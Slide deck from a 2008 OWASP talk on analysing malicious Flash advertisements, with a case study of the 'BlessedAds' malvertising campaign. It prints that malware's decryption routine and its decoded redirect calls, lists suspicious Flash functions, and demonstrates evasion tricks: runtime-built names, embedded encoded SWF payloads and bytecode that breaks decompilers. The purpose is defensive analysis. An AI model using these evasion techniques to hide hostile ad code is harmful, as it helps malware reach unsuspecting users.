Page 1
Copyright © The OWASP FoundationPermission is granted to copy, distribute and/or modify this document under the terms of the OWASP License.
The OWASP Foundation
OWASP
http://www.owasp.org
OWASP Asia Pacific Conference 2008
The Detection and Analysis of Flash Based Malware
Paul TheriaultSenior Associate - [email protected]
Feb 2008
Page 2
OWASP
About me
Paul Theriault Security consultant with SIFT
(www.sift.com.au) Web app penetration tester Code review and developer training Security researcher
Page 3
OWASP
Background
Flash is a commonly used format for rich media on the internet
Flash “Movies” aren’t really movies Application byte-code to be executed by the flash player
runtime environment Many websites accept third-party flash content
Advertising Networks Gaming Websites (Kongregate, Newgrounds…) Graphic Design/Art sites (Flash Kit, Deviantart…) Others: any forum with SWF avatars etc.
3rd Party Flash movies may contain malicious code
How can you tell?
Page 4
OWASP
Talk Outline
1. Flash based malware Background Introduction to malware case study
2. Analysis Methods Disassembly Decompiling Runtime Analysis
3. Counter Analysis Methods Obfuscation & Stack Manipulation Dynamically Loading Content
Page 5
OWASP
Flash Advertising
Flash has become a common format for web advertisements
Advertising organisation must accept third-party content which may be malicious
Attacker only needs to achieve redirection of user to malicious site – and Ads are supposed to redirect users!
Ads are also often allowed to contact third-party servers for tracking purposes
Page 6
OWASP
Rise in “Malvertising”
Malvertising: spreading malware by convincing sites to host malicious advertisementshttp://isc.sans.org/diary.html?storyid=3727
Major advertising organisations affected Typical method is to force victim to
malicious website Old problem, new(ish) vector:
http://msmvps.com/spywaresuckswww.mikeonads.com
Page 7
OWASP
“SkyAuction/BlessedAds/Errorsafe” Malware
Seen since March 2007 across many organisations
Gained widespread media attention in November with major internet properties affected
Fictitious flash advertisement which redirects visitor to malicious website without user interaction
Note:Flash file doesn’t exploit any vulnerabilityUsed encryption and obfuscated programming
techniques to hide function calls and urls
Page 8
OWASP
Analysis Methods
Page 9
OWASP
Analysis of Flash Content
Flash Overview Static Analysis
Bytecode level analysisActionscript AnalysisFocus on ActionScript portions of SWF file
Runtime Analysis
Page 10
OWASP
SWF Introductionfunction TestLoader() {loader=new Loader();configureListeners(loader.contentLoaderInfo);//loader.load(new URLRequest('badware.swf'));
var ba:ByteArray=new ByteArray();//the binary on this line badware.swf encoded var badware:Array= [67,87,83,7,195,3,0,0,120,218,124for(var i:int=0;i<badware.length;i++){ba.writeByte(badware[i]);}
loader.loadBytes(ba);
46575307c3030000780003e800000bb800001801004302ffffffff09060000000050010000003f0e17000000010000505f5f5061636b616765732e6261647761726500ff0e2b030000005088ff00180062616477617265005f676c6f62616c0070726f746f74797065006d61696e006a6176617363726970743a616c657274282755722062617365732c204c6574206d65206d652070776e207468656d27293b005f7365
1557 label 1558 debugline 1560 getlocal1 1561 getlocal2 1562 getlocal3 1563 getproperty 1565 callpropvoid 1568 debugline 1570 inclocal_i L1: 1572 getlocal3 1573 getlocal2 1574 getproperty 1576 iflt
SWFActionScript Flash Player
Page 11
OWASP
SWF Format
SWF Format Contains images, sounds, video clips AND ActionScript
bytecode (ABC) in series of tagged data blocks:File
Attributes Tag Tag Tag End Tag
Header…
2 Types of Tags: Definition & Control Definition: defines content – shapes, texts, sounds, script etc. and assign
them a character ID. Control: Manipulate instances of content (instances of characters) and
control flow of the file Complete specification for SWF format available from:
http://www.adobe.com/licensing/developer/ (requires registration)
Page 12
OWASP
ActionScript Overview
Focus on the Tags that contain ActionScriptAS3: DoABCAS2: DoAction, DoInitAction, DefineButton2
ActionScript Byte CodeSequence of actions on the virtual machine
stateSpecification for AVM2 bytecode here:
http://www.adobe.com/devnet/actionscript/articles/avm2overview.pdf
Page 13
OWASP
ActionScript OverviewFlash Player
ActionScript Virtual Machine
Method InformationMethod usage instructions (e.g. handling of default args)
Local Data Area - Operand Stack - Scope Stack - Local Registers
Runtime EnvironmentChain of Named Objects
Constant Pool - Numbers - Strings - Various Names
HeapObjects created at runtime
ByteCode
Output
Page 14
OWASP
Tools for static analysis
Hex Editor Flasm
ActionScript bytecode assembler/disassembler SWFMILL
Converts swf to xml and vice versa ActionScript Decompiler
Flare (AS2)AVMPlus (AS3) – compiled from Tamarin
https://www.flashsec.org/wiki/Simple_AS3_Decompiler_Using_Tamarin
Page 15
OWASP
SWF DeconstructedActionScriptvar url = 'http://www.sift.com.au';getURL(url, '_self');
FLASMframe 0 constants 'url', 'http://www.sift.com.au', '_self' push c:0, c:1 varEquals push c:0 getVariable push c:2 getURL2end // of frame 0
SWF46 57 53 08 66 00 00 00 78 00 05 5F 00 00 0F A0 00 00 0C 01 00 44 11 00 00 00 00 43 02 FF FF FF 3F 03 3C 00 00 00 88 21 00 03 00 75 72 6C 00 68 74 74 70 3A 77 77 77 2E 73 69 66 74 2E 63 6F 6D 2E 61 75 00 5F 73 65 6C 66 00 96 04 00 08 00 08 01 3C 96 02 00 08 00 1C 96 02 00 08 02 9A 01 00 00 00 40 00 00 00
<strings> <String value="url" /> <String value="http://www.sift.com.au" /> <String value="_self" /> </strings> ... <PushData><items><StackDictionaryLookup index="0" /></items> </PushData> <GetVariable /> <PushData><items><StackDictionaryLookup index="2" /> </items> </PushData> <GetURL2 method="0"/>
XML
Page 16
OWASP
SWF Deconstructed
ActionScript
var url = 'http://www.sift.com.au';getURL(url, '_self');
Page 17
OWASP
SWF Deconstructed
FLASMframe 0 constants 'url', 'http://www.sift.com.au', '_self' push c:0, c:1 varEquals push c:0 getVariable push c:2 getURL2end // of frame 0
{“http://www.sift.com.au”, “url”} {}
{“http://www.sift.com.au”}{_self,http://www.sift.com.au}
{“url”}
Page 18
OWASP
SWF Deconstructed
XML<strings> <String value="url" /> <String value="http://www.sift.com.au" /> <String value="_self" /> </strings> ... <PushData><items><StackDictionaryLookup index="0" /></items> </PushData> <GetVariable /> <PushData><items><StackDictionaryLookup index="2" /> </items> </PushData> <GetURL2 method="0"/>
Page 19
OWASP
SWF Deconstructed
SWF46 57 53 08 66 00 00 00 78 00 05 5F 00 00 0F A0 00 00 0C 01 00 44 11 00 00 00 00 43 02 FF FF FF 3F 03 3C 00 00 00 88 21 00 03 00 75 72 6C 00 68 74 74 70 3A 77 77 77 2E 73 69 66 74 2E 63 6F 6D 2E 61 75 00 5F 73 65 6C 66 00 96 04 00 08 00 08 01 3C 96 02 00 08 00 1C 96 02 00 08 02 9A 01 00 00 00 40 00 00 00
Page 20
OWASP
SWF DeconstructedActionScriptvar url = 'http://www.sift.com.au';getURL(url, '_self');
FLASMframe 0 constants 'url', 'http://www.sift.com.au', '_self' push c:0, c:1 varEquals push c:0 getVariable push c:2 getURL2end // of frame 0
SWF46 57 53 08 66 00 00 00 78 00 05 5F 00 00 0F A0 00 00 0C 01 00 44 11 00 00 00 00 43 02 FF FF FF 3F 03 3C 00 00 00 88 21 00 03 00 75 72 6C 00 68 74 74 70 3A 77 77 77 2E 73 69 66 74 2E 63 6F 6D 2E 61 75 00 5F 73 65 6C 66 00 96 04 00 08 00 08 01 3C 96 02 00 08 00 1C 96 02 00 08 02 9A 01 00 00 00 40 00 00 00
<strings> <String value="url" /> <String value="http://www.sift.com.au" /> <String value="_self" /> </strings> ... <PushData><items><StackDictionaryLookup index="0" /></items> </PushData> <GetVariable /> <PushData><items><StackDictionaryLookup index="2" /> </items> </PushData> <GetURL2 method="0"/>
XML
Page 21
OWASP
Byte code analysis
SWF are usually compressed Look at first 3 bytes
CWS= compressed FWS= non-compressed
Use ‘flasm –x movie.swf’ to decompress
Open SWF in Hex editor Some unusual strings Difficult to read in this format
Page 22
OWASP
SWFmill
Available from http://swfmill.org Converts SWF into xml (and xml to
SWF) Much easier to read than HEX But very large files 50k malware 6000 line xml
Includes graphic data Less information than decompiling, but
more resilient to obfuscation
Page 23
OWASP
SWFmill
Constants pool from malware<String value="getTime"/><String value="loadVariables"/><String value="i"/><String value="setInterval"/><String value="stats"/><String value="clearInterval"/><String value="LoadVars"/><String value="so"/> Difficult to determine where its used in this
view
Page 24
OWASP
FLASM
FLASM is a ABC disassembler Available from
http://www.nowrap.de/flasm.html Describe the actionscript present in the
SWF file in terms of Virtual Machine actions: push, pop, add, callmethod, jump etc.
FLASM provides lower level analysis, helps with understanding exactly what is going on inside AVM
Page 25
OWASP
FLASM analysis
Looking at the “Constants Pool” in the malware:
constants '_root', 'c1', '47ED02', 'c2', '46E91A247C', 'c3', '7FF817257C8DF8', 'c4', '50E70523', 'c5', '7FD7153B7080E795EA776F', 'c6', '48FC022723CCA3A8F36070509F2105CBA738D20F50A22FD09E2BB74956972D2F50252B6269', 'c7', '11', 'c8', '10', 'c9', 'c10', 'c11', 'c12', '17', 'c13', '48FC022723CCA3', 'c14', 'c15', '0DB1', 'c16', 'c17', '48FC022723CCA3A7E67676518C201D9BA138D20F50A263C7922FAD031B923C634721342266E62EB8CBB7746D368E0268C2', 'c18', '14B8', 'c19', '4DE905237C91BCA4F66B774FC274559DE42686', 'c20', '0F', 'c21', '18BE426729D3BCFA', 'c22', '7FD7022D', 'c23', '7FFD043B', 'c24', '53FD14246D91', 'c25', '7FD7102363', 'c26', '7FD7103B6F', 'c27', '7FD710347188', 'c28', '53ED1833', 'c29', '47ED0203708EE9B0F06B666C9C2317CAA0', 'String', 'prototype', 'color', 'eslogan', 'result', '', 'n', 'this', 'length', 'slice', 'parseInt', 'fromCharCode', '_visible', 'getNextHighestDepth', 'emc', 'createEmptyMovieClip', 'u', 'dt', 'getTime', 'loadVariables', 'i', 'setInterval', 'stats', 'clearInterval', 'LoadVars', 'so', 'SharedObject', 'getLocal', 'data', 'uzhe', 'exp', 'Date', 'cr', 'expires', 'flush', 'lim', 'r', 'view'
Looks a bit fishy…
Page 26
OWASP
FLASM analysis
Can also see where its called:push 3, 0.0, 'LoadVars'
new push 14688422, 1, r:1, 'c28' getMember push 'color' callMethod
callMethod Calling a function called ‘color’ prior to
calling LoadVars
Page 27
OWASP
ActionScript Analysis
FLARE (http://www.nowrap.de/flare.html) Decompiles SWF (AS2 only) files to
ActionScript Manually trace ActionScript for malicious
behaviourFunctions which connect remotelyLook for strange behaviours
Provides much better view of what is going on
Page 28
OWASP
ActionScript Analysis
Examine where the strange strings are assigned:_root.c1 = '47ED02';_root.c2 = '46E91A247C';_root.c3 = '7FF817257C8DF8';_root.c4 = '50E70523';_root.c5 = '7FD7153B7080E795EA776F';_root.c6 = '48FC022723CCA3A8F36070509F2105CBA738D20F5…
Now searching for where they are used:(new LoadVars())[v1.c28.color(14688422)]
(v1.c6.color(14688422), v1.c3.color(14688422), v1.c4.color(14688422));
So we know it is opening a location, but where?
Page 29
OWASP
ActionScript Analysis
The String.Color() function is actually a decryption method:
String.prototype.color = function (eslogan) { var v3 = eslogan; var result = ''; var v1; var n; var v2; v1 = 0; n = this.length; while (v1 < n) { v2 = parseInt(this.slice(v1, v1 + 2), 16) ^ v3 >> 8 & 255; if (v2 > 127) { v2 += 848;} result += String.fromCharCode(v2); v3 = (v3 * 52845 + 22719) % 16777215; v1 += 2; } return result; };
Decryption Key
Page 30
OWASP
ActionScript Analysis
Compile and run decryption algorithm across the mystery variables:c1:get c11:0 c22:__tzc2:false c12:7 c23:_urlc3:_parent c13:http:// c24:substrc4:post c14:0 c25:__ftzc5:__click_url c15:-9 c26:__flvc6:http://blessedads.com/?cmpid=master0n
c16:0 c27:__fchk
c7:1 c17:http://mysurvey4u.com/stats.php?campaign=master0n
c28:send
c8:0 c18:40 c29:getTimezoneOffsetc9:0 c19:master0nintl811200
7c10:1 c20:/
Page 31
OWASP
ActionScript Analysis
Substituting these decrypted strings back into the original file reveals calls:
v1.emc.loadVariables("http://mysurvey4u.com/stats.php?campaign=master0n", "get");
new LoadVars())["send"]("http://blessedads.com/?cmpid=master0n", “_parent”,”post”);
Page 32
OWASP
Interesting Classes and Functions (AS2)
Global Functions asfunction, ASnative, chr, escape, eval, fscommand, getTimer,
getURL, loadMovie, loadMovieNum, loadVariables, mbchr, mbord, mbsubstring, MMExecute, setInterval, setTimeout, unescape
Global Properties _global, _level, _root
Classes System.capabilities, ExternalInterface, LoadVars, LocalConnection,
MovieClipLoader, NetConnection, NetStream, System.security, XML, XMLSocket
Functions XML.load, StyleSheet.load, LoadVars.load, LoadVars.send,
LocalConnection.send, PrintJob.send, XML.send, XMLSocket.send, XML.sendAndLoad, LoadVars.sendAndLoad, FileReference.upload, FileReference.download
Page 33
OWASP
Interesting Classes and Functions (AS3)
Classes flash.display.Loader, flash.external.ExternalInterface,
flash.media.Sound, flash.media.flash.media.Video, flash.net.LocalConnection, flash.net.NetConnection, flash.net.NetStream, flash.net.SharedObject, flash.net.Socket, flash.net.URLLoader, flash.net.URLRequest, flash.net.URLStream, flash.net.XMLSocket, flash.system.Security, flash.system.LoaderContext, flash.utils.ByteArray, flash.utils.Timer
Functions flash.net.navigateToURL, flash.net.sendToURL,
flash.net.registerClassAlias, flash.system.fscommand, flash.utils.setInterval, flash.utils.setTimeout, flash.utils.getDefinitionByName, flash.utils.getQualifiedClassName, flash.utils.getQualifiedSuperclassName, flash.utils.getTimer, flash.utils.unescapeMultiByte
Page 34
OWASP
Runtime Analysis
Load the file, use proxy to observe (and limit!) network interactions
Obviously better to do this on isolated test machine
This malware tries to evade dynamic analysisOnly connects to malicious website when Movie is
loaded via http, AND Local time is a specific value:_root["__tz"] = -(new Date())["getTimeZoneOffset"]() / 60;
if (_root["_url"]["substr"](parseInt(0), parseInt(7)) == "http://") && !(_root["__tz"] >= -9 && _root["__tz"] <= 0))) {
Page 35
OWASP
Advanced Runtime Analysis via debugger
Many debug tools are available for flash: fdb (http://labs.adobe.com/technologies/flex/sdk/) Ofd-net (ALPHA - http://sourceforge.net/projects/ofd-net)
Requires Debug Flash player http://www.adobe.com/support/flashplayer/downloads.html
For 3rd party SWF, where do you get debug file (SWD)? “swf2swd.exe” from Nikos Kastellanos (ofd-net author, above
url) Also need to enable debugging:
UnlockSWF (http://www.buraks.com/unlockswf/) However, swf2swd has problems with malformed flash files…
work required to develop a robust SWD extractor
Page 36
OWASP
Runtime Analysis
Issues with Runtime AnalysisDifficult to automateHave to execute potential dangerous codeRelies on observing external interactions (until
debugging tools are more mature) Other Runtime Analysis tools
SWFIntruder https://www.owasp.org/index.php/Category:SWFIntruder
Erlswf http://pentaphase.de/index.php?/archives/29-Erlang-
unscrables-SWF.html
Page 37
OWASP
Counter Analysis Methods
Page 38
OWASP
Counter-Analysis
Create Class and function names at runtime
Embedding code at runtime Code Obfuscation
Page 39
OWASP
Class names at runtime
Basic static analysis relies on locating key function and class names
Classes can be instanced from strings using:AS2: var myClass = _global['LoadVars'];AS3: var ClassReference:Class =
getDefinitionByName("flash.display.Loader") as Class;
For example:var f=String.fromCharCodevar a=f(76); a+=f(111); a+=f(97); a+=f(100); a+=f(86); a+=f(97); a+=f(114); a+=f(115); (new _global[a]()).send('http://www.sift.com.au', '_parent', 'post');
Page 40
OWASP
Function Names At Runtime
Works for function names too: var v3 = chr(103) + (chr(101) + (chr(116) + (chr(85) + (chr(82) +
chr(76))))); _root[v3]('http://www.sift.com.au', '_parent', 'post');
String ‘GetURL’ no longer in the file
Page 41
OWASP
ASnative
ASnative is an undocumented function Call AS2 functions using reference numbers,
as if all functions exist in a spreadsheet Can be used instead of the real function
namesvar escapeFunction=_global["ASnative"](100, 0);
Examples:ASnative(253, 7) - [_global] XML ASnative(301, 0) - [XML.prototype] load ASnative(100, 0) - [_global] escape
http://osflash.org/flashcoders/undocumented/asnative
Page 42
OWASP
Embedding Code
Another method of hiding code is to load the malicious code at runtime
However loading code from external site is obvious to runtime analysis
Alternative is to embed data within the file and load at runtime
One way to achieve this is to use the Display.Loader.LoadBytes() method
Page 43
OWASP
Embedding codeloader=new Loader();configureListeners(loader.contentLoaderInfo);
//create an byteArray containing our malicious swfvar ba:ByteArray=new ByteArray();var badware:Array=
[67,87,83,7,195,3,0,0,120,218,124,83,203,110,19,49,20,189,227,73,51,78,67,83,154,20,166,145,42,145,93,137,64,176,200,10,197,111,0,71,6,180,201,26,91,33,15,216,6, … 181,186,125,16,51,47,221,254,62,234,103,81,111,71,62,24,123,243,150,44,173,76,137,178,196,28,218,112,138,211,159,0,0,0,255,255,3,0,4,45,181,29];
for(var i:int=0;i<badware.length;i++){
ba.writeByte(badware[i]);}
//load the swfloader.loadBytes(ba);
Page 44
OWASP
Embedding code
Only remaining evidence isUse of loader class Pushing a massive array on the stack
Hiding the use of the Loader classUse dynamic class creation as discussed
previously Hiding the data
Encrypt/Encode valuesEmbed the values in an image (could also use
steganography techniques)
Page 45
OWASP
Obfuscation
Many techniques available from efforts to secure flash movie source codeActionScript obfuscationBytecode obfuscation
ActionScript ObfuscationUse confusing variable names – numbers and
non-displayable characters
Page 46
OWASP
Bytecode obfuscation
Flash AVM executes bytecodes one by one, whereas decompiler breaks the bytecode into meaningful pieces
We can exploit this to confuse decompilers
The malicious script we want to hide:var foo="getURL";_root[foo]('http://www.sift.com.au', '_parent', 'post');
Page 47
OWASP
Bytecode obfuscation
Converted to action records this becomesconstants 'foo', 'getURL', 'post', '_parent',
'http://www.sift.com.au', '_root' push 'foo', 'getURL'varEqualspush 'post', '_parent', 'http://www.sift.com.au', 3, '_root'getVariablepush 'foo'getVariablecallMethodpop
Page 48
OWASP
Bytecode obfuscation Using a malformed push record, we hide the data from
decompilers : push ‘junk’
label1: constants 'foo', 'getURL', 'post', '_parent', 'http://www.sift.com.au', '_root'
push 'foo', 'getURL' varEquals push 'post', '_parent', 'http://www.sift.com.au', 3, '_root' getVariable push 'foo' getVariable callMethod pop
branch label2 branch label1
label2:
Manually change the size of this “push”
Page 49
OWASP
Bytecode Obfuscation
SWF (Unaffected)46 57 53 08 95 00 00 00 78 00 05 5F 00 00 0F A0 00 00 0C 01 00 44 11 00 00 00 00 43 02 FF FF FF 3F 03 6B 00 00 00 96 61 00 17 88 37 00 06 00 66 6F 6F 00 67 65 74 55 52 4C 00 70 6F 73 74 00 5F 70 61 72 65 6E 74 00 68 74 74 70 3A 2F 2F 77 77 77 2E 73 69 66 74 2E 63 6F 6D 2E 61 75 00 5F 72 6F 6F 74 00 96 04 00 08 00 08 01 3C 96 0D 00 08 02 08 03 08 04 07 03 00 00 00 08 05 1C 96 02 00 08 00 1C 52 17 99 02 00 05 00 99 02 00 9B FF 17 …
(Error, but Successful) XML<PushData> <items/></PushData>
FLASM frame 0 push ??? // unknown push type 23: rest of push skipped label1: // Wild label in the middle of an action, now placed before next action branch label1 pop end // of frame 0
ActionScript
Page 50
OWASP
Bytecode Obfuscation
This obfuscation technique is documented: http://www.gotoandplay.it/_articles/2004/04/swfProtection.php
Not a new technique, but example has been seen in the wild.
The malware author read this article!The Blessads malware contains strings used in
one of the examples on this page Some tools will detect these obfuscations
(e.g. Manitu ASV)
Page 51
OWASP
Obfuscation seen in the wild
Flare Decompile of diepress.com malware http://msmvps.com/blogs/spywaresucks/archive/2008/01/19/1469617.aspx
// unknown tag 255 length 1// unknown tag 777 length 3movieClip 4680 { #initclip function () { for (;;) { for (;;) { for (;;) { for (;;) { for (;;) { for (;;) { for (;;) { for (;;) { for (;;) { for (;;) { return (164 % 511) * 5; var = -785 + (); for (;;) { for (;;) {
Page 52
OWASP
Goal of Analysis
Analysis to achieve detection Reduce the risk that malicious content is
served by your organisationLarge reputational impact if malware is even
associated with your organisation Limitations:
Ad click through targets are controlled by third parties. Cannot prevent attacker modifying the target site to be malicious.
Same issue if third party interactions are allowed in the background
Page 53
OWASP
Addressing the risk
Contractual Controls“Terms of use” approachComplicated chain of supply - federated ads
Reactive ControlsMechanism for users to report malicious adsEffective incident response program
Technical ControlsNeed to determine exact program functionalitySignal detection problem – malicious ads can
be very similar to legitimate ads
Page 54
OWASP
What about volume?
Even basic obfuscation results in very time consuming manual analysis
Advertising organisations are dealing with thousands of campaigns, each with their own creatives
Questions to ask:Why would an legitimate add use obfuscation?Why would a legitimate add call certain function
calls or class names? Can use automated approach to find
suspicious files to be marked for further analysis.
Page 55
OWASP
Recommendations
Develop combination of automated and manual analysis procedures to increase detection of malicious advertisements
Use ad templates to restrict available functionality and make analysis easier
Require 3rd party to provide source code Implement good incident detection and
response processes
Page 56
OWASP
Questions?
?
Page 57
OWASP
SIFT Pty Ltd – Australia
The detection and analysis of Flash based malware
Paul Theriault [[email protected] ]